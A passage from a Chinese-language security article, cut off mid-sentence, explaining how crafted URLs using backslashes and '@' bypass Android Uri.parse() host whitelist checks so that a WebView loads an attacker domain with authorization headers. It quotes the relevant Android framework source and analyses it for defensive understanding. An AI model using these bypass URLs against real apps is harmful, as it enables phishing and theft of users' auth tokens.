绕过Android域名白名单校验的方法

引言
很多 Android 组件都有响应外部链接的能力，如果攻击者能随意的指定这些组件所响应的 url，轻则可以引导被攻击的 APP 弹出钓鱼页面，重则可能远程执行恶意 js 代码。因此 APP 开发者必然要对传入的 url 进行校验，而设置域名白名单就是一种简单常见且具有较高安全性的防御方法。

然而由于一些开发者并不完全通晓调用方法的底层特性，使得看起来万无一失的白名单校验形同虚设。本文列举几种常见的 Android 域名白名单校验写法，并深入源码指出其中存在的风险和绕过方法。

一、 Url加入反斜杠”\”
1.1. 方法描述
先来看一种典型的域名校验写法:

/* Uri 结构

• [scheme:][//authority][path][?query][#fragment]
  */
  [check_v1]
  Uri uri = Uri.parse(attackerControlledString);
  if (“legitimate.com”.equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) {
  webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
  // or webView.loadUrl(uri.toString())
  }
  然而…

String url = “http://attacker.com\.legitimate.com/smth”;
Log.d(“getHost:”, Uri.parse(url).getHost()); // 输出 attacker.com.legitimate.com !
if (Uri.parse(url).getHost().endsWith(".legitimate.com")) {
webView.loadUrl(url, getAuthorizationHeaders()); // 成功加载 attacker.com！
}
可以看到 getHost() 和 loadUrl() 的表现不一致，if检验跳转目标是legitimate.com，但执行时浏览器会把反斜线纠正为正斜线去访问attacker.com。那么如果是用 equals() 来做完整的 host 检验该怎么办呢？只需加一个‘@’就能隔断非法前缀。

String url = “http://attacker.com\@legitimate.com/smth”;
Log.d(“Wow”, Uri.parse(url).getHost()); // 输出 legitimate.com!
webView.loadUrl(url, getAuthorizationHeaders()); // 加载 attacker.com！
1.2. 分析原因
看来android.net.Uri的 parse() 是有安全缺陷的，我们扒拉一下代码定位问题…

[frameworks/base/core/java/android/net/Uri.java]
public static Uri parse(String uriString) {
return new StringUri(uriString);
}
继续看这个内部类StringUri

[frameworks/base/core/java/android/net/Uri.java]
private static class StringUri extends AbstractHierarchicalUri {
…
private StringUri(String uriString) {
this.uriString = uriString;
}
…
private Part getAuthorityPart() {
if (authority == null) {
String encodedAuthority
= parseAuthority(this.uriString, findSchemeSeparator());
return authority = Part.fromEncoded(encodedAuthority);
}
return authority;
}
…
static String parseAuthority(String uriString, int ssi) {
int length = uriString.length();
// If “//” follows the scheme separator, we have an authority.
if (length > ssi + 2
&& uriString.charAt(ssi + 1) == ‘/’
&& uriString.charAt(ssi + 2) == ‘/’) {
// We have an authority.
// Look for the start of the path, query, or fragment, or the
// end of the string.
int end = ssi + 3;
LOOP: while (end < length) {
switch (uriString.charAt(end)) {
case ‘/’: // Start of path
case ‘?’: // Start of query
case ‘#’: // Start of fragment
break LOOP;
}
end++;
}
return uriString.substring(ssi + 3, end);
} else {
return null;
}
}
}
这里就明显看到StringUri没有对authority部分做反斜杠的识别处理, 接着找StringUri的父类AbstractHierarchicalUri瞧瞧：

[frameworks/base/core/java/android/net/Uri.java]
private abstract static class AbstractHierarchicalUri extends Uri {
private String parseUserInfo() {
String authority = getEncodedAuthority();
int end = authority.indexOf(’@’);
return end == NOT_FOUND ? null : authority.substring(0, end);
}
…
private String parseHost() {
String authority = getEncodedAuthority();
// Parse out user info and then port.
int userInfoSeparator = authority.indexOf(’@’);
int portSeparator = authority.indexOf(’:’, userInfoSeparator);
String encodedHost = portSeparator == NOT_FOUND
? authority.substring(userInfoSeparator + 1)
: authority.substring(userInfoSeparator + 1, portSeparator);
return decode(encodedHost);
}
}
就在